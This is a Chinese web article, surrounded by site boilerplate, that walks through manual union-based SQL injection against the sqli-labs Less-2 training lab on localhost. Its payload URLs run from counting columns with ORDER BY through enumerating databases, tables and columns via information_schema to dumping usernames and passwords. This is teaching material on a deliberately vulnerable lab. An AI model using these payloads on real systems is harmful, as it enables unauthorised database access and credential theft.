广告
返回顶部
首页 > 资讯 > 数据库 >sql注入之手工注入的示例分析
  • 645
分享到

sql注入之手工注入的示例分析

2024-04-02 19:04:59 645人浏览 安东尼
摘要

这篇文章将为大家详细讲解有关sql注入之手工注入的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。为了方便说明,我们还是用之前的数字型的注入点为例来进行说明。得到字

这篇文章将为大家详细讲解有关sql注入之手工注入的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

为了方便说明,我们还是用之前的数字型的注入点为例来进行说明。

得到字段总数

在前面的介绍中,我们已经知道在Http://localhost/sqlilabs/Less-2/?id=1id是一个注入点。

后台的SQL语句的写法大致为

select username,passWord,[....] from table where id=userinput

那么我们通过使用order by的语句来判断select所查询字段的数目。

那么payload变为:

http://localhost/sqlilabs/Less-2/?id=1 order by 1/2/3/4....

当使用order by 4时程序出错,那么select的字段一共是3个。

得到显示位

在页面上会显示从select中选取的字段,我们接下来就是要判断显示的字段是哪几个字段。

使用如下的payload(两者均可)进行判断。

http://localhost/sqlilabs/Less-2/?id=-1 uNIOn select 1,2,3 
http://localhost/sqlilabs/Less-2/?id=1 and 1=2 union select 1,2,3

当使用个如上的payload时,页面的显示如下:

sql注入之手工注入的示例分析

通过如上的页面显示就可以知道,页面中显示的是第2位和第3位的信息。

查选库

在知道了显示位之后,那么接下来就可以通过显示位来显示我们想知道的信息,如数据库的版本,用户信息等等。那么我们使用如下的payload就可以知道相关的信息。

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,version(),database()

此时页面的显示为:

sql注入之手工注入的示例分析

可以看到在页面上就出现了数据库的版本信息和当前使用的数据库信息。

那么接下来我们通过这种方式知道数据库中所有的数据库的名称。

payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from infORMation_schema.SCHEMATA limit 0,1 #得到第一个库名
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 1,1 #得到第二个库名
...

查选表名

由于database()返回的就是当前WEB程序所使用的数据库名,那么我们就利用database()来查询所有的表信息。当然在上一步中。我们也已经知道当前的database就是security

那么我们构造的payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

这样我们就得到当前数据库下所有的表名了。页面返回的结果是:

sql注入之手工注入的示例分析

所以我们知道在当前的数据库中存在4张表,分别是emails,referers,uagents,users

查选列名

在知道了表名之后,接下来我们利用information_schema.columns就可以根据表名来获取当前表中所有的字段。

payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六进制)

页面的显示结果如下:

sql注入之手工注入的示例分析

通过这个语句,我们就知道在users表中存在USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,name,password这些字段。但是我本地测试的测试的时候,这个存在一个问题,实际上在security数据库的users的表中,只有id,username,password这3个字段,其他的字段都是其他数据库的中users表的字段名。

通过上面的payload,我们也同样可以知道在emails,referers,uagents中的字段名称。

但是有的时候后台的代码可能仅用了使用where子句,那么这个时候就无法通过information_schema.coumns来得到列名了,这个时候只能够根据你自己多年的黑客经验来进行猜解了。猜解的方法也是比较的简单,使用exists子句就可以进行猜解了。假设在我们已经知道了表名的情况下(当然猜解表名也使用通过exists子句来完成)。

猜解的语句如下:

http://localhost/sqlilabs/Less-2/?id=1 and exists(select uname from users)

主要的语句就是exists(select 需要猜解的列名 from users)这种句式。如果在users表中不存在uname列名,则页面不会显示内容或者是直接出现sql的错误语句。

如下如所示:

sql注入之手工注入的示例分析

下面这个就是猜解到了users表中存在的字段。

http://localhost/sqlilabs/Less-2/?id=1 and exists(select username from users)

猜测在users表中存在username列,上面的语句程序可以正常第返回结果,那么寿命在users表中确实存在username列名。

脱裤

在知道了当前数据库所有的表名和字段名之后,接下来我们就可以dump数据库中所有的信息了。比如我们下载当前users表中所有的数据。

可以使用如下的payload:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username,password),3 from users

就可以得到users表中所有的usernamepassword的数据了,通过这种方式也能够得到其他表中的数据了。

关于“sql注入之手工注入的示例分析”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

您可能感兴趣的文档:

--结束END--

本文标题: sql注入之手工注入的示例分析

本文链接: https://www.lsjlt.com/news/60040.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • sql注入之手工注入的示例分析
    这篇文章将为大家详细讲解有关sql注入之手工注入的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。为了方便说明,我们还是用之前的数字型的注入点为例来进行说明。得到字...
    99+
    2022-10-18
  • SQL注入的示例分析
    这篇文章主要为大家展示了“SQL注入的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“SQL注入的示例分析”这篇文章吧。SQL注入攻击的总体思路 ...
    99+
    2022-10-18
  • sql注入之类型以及提交注入的示例分析
    这篇文章主要介绍sql注入之类型以及提交注入的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!参数类型这里说的参数是源码中存在注入的地方。其中参数类型有:数字、字符、搜索、json等。其中sql语句干扰符号有:...
    99+
    2023-06-20
  • 数据库之SQL注入的示例分析
    小编给大家分享一下数据库之SQL注入的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1、产生SQL注入原因开发代码的时候没有全面考虑到网络安全性,特别是在...
    99+
    2023-06-20
  • SQL报错注入的示例分析
    小编给大家分享一下SQL报错注入的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!SQL报错注入概述通过构造特定的SQL语句,让攻击者想要查询的信息(如数据...
    99+
    2023-06-29
  • SQL注入绕过的示例分析
    这篇文章主要介绍了SQL注入绕过的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。前言sql注入在很早很早以前是很常见的一个漏洞。后来...
    99+
    2022-10-18
  • 常用的攻击手段SQL注入的示例分析
    这篇文章主要介绍常用的攻击手段SQL注入的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!一、概述1. 攻击原理SQL注入是较常见的网络攻击方式之一,主要针对WEB应用,利用程序员编写代码的疏忽,对于连接数据库...
    99+
    2023-06-27
  • Angular4依赖注入之组件服务注入的示例分析
    这篇文章将为大家详细讲解有关Angular4依赖注入之组件服务注入的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。开发环境及开发语言:Angular 4 +Ang...
    99+
    2022-10-19
  • 实战感受SQL注入(手工注入)
    前言 在上篇文章中我们介绍了SQL注入漏洞,并且用简单的php代码,介绍了SQL注入漏洞可能出现的情况和原理。这篇文章就让我们通过实战来感受一下SQL注入。 实战感受SQL注入 墨者学院手工SQL注入...
    99+
    2023-08-31
    sql 数据库 php
  • sql注入报错之注入原理实例解析
    目录前言0x010x020x03总结前言 我相信很多小伙伴在玩sql注入报错注入时都会有一个疑问,为什么这么写就会报错?曾经我去查询的时候,也没有找到满意的答案,时隔几个月终于找到搞清楚原理...
    99+
    2022-06-13
    sql注入 报错注入 SQL报错注入 sql注入报错
  • 数据库中sql注入的示例分析
    这篇文章将为大家详细讲解有关数据库中sql注入的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。首先可能大家都会问什么是sqlSql是数据库的一种类型,是用来存储网...
    99+
    2022-10-18
  • SQL注入漏洞过程的示例分析
    这篇文章将为大家详细讲解有关SQL注入漏洞过程的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。代码示例:public class JDBCDe...
    99+
    2022-10-18
  • SQL Server中WAITFOR DELAY注入的示例分析
    这篇文章主要为大家展示了“SQL Server中WAITFOR DELAY注入的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“SQL Server中WAITFOR DELAY注入的示例分...
    99+
    2023-06-04
  • Mybatis的SQL注入实例分析
    本文小编为大家详细介绍“Mybatis的SQL注入实例分析”,内容详细,步骤清晰,细节处理妥当,希望这篇“Mybatis的SQL注入实例分析”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。前言MyBatis3提供了...
    99+
    2023-06-29
  • DVWA-----SQL Injection(SQL手工注入)
    目录 一、SQL注入 1.SQL注入原理  2.SQL注入分类 3.SQL注入思路 4.SQL注入绕过方法 二、SQL注入漏洞的分析         1. 定义 2. 原因 3.危害 三、Web 程序三层架构 四、SQL Injection...
    99+
    2023-09-05
    sql 数据库 服务器 web安全 php
  • MapperScannerConfigurer之sqlSessionFactory注入方式的示例分析
    这篇文章主要介绍MapperScannerConfigurer之sqlSessionFactory注入方式的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!MapperScan...
    99+
    2022-10-18
  • pymysql解决sql注入问题的示例分析
    这篇文章将为大家详细讲解有关pymysql解决sql注入问题的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。1. SQL 注入SQL 注入是非常常见的一种网络攻击...
    99+
    2022-10-18
  • SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析
    小编给大家分享一下SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1.联合查询显...
    99+
    2022-10-18
  • ThinkPHP5漏洞分析之SQL注入(七)
    说明 该文章来源于同事lu2ker转载至此处,更多文章可参考:https://github.com/lu2ker/ 文章目录 说明0x00 从s=是个啥开始0x01 模型/...
    99+
    2023-09-08
    TP代码审计 开发语言 php 代码审计
  • Angular4依赖注入的示例分析
    这篇文章给大家分享的是有关Angular4依赖注入的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。基础知识Angular CLI 基本使用1、安装 Angular CLI...
    99+
    2022-10-19
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作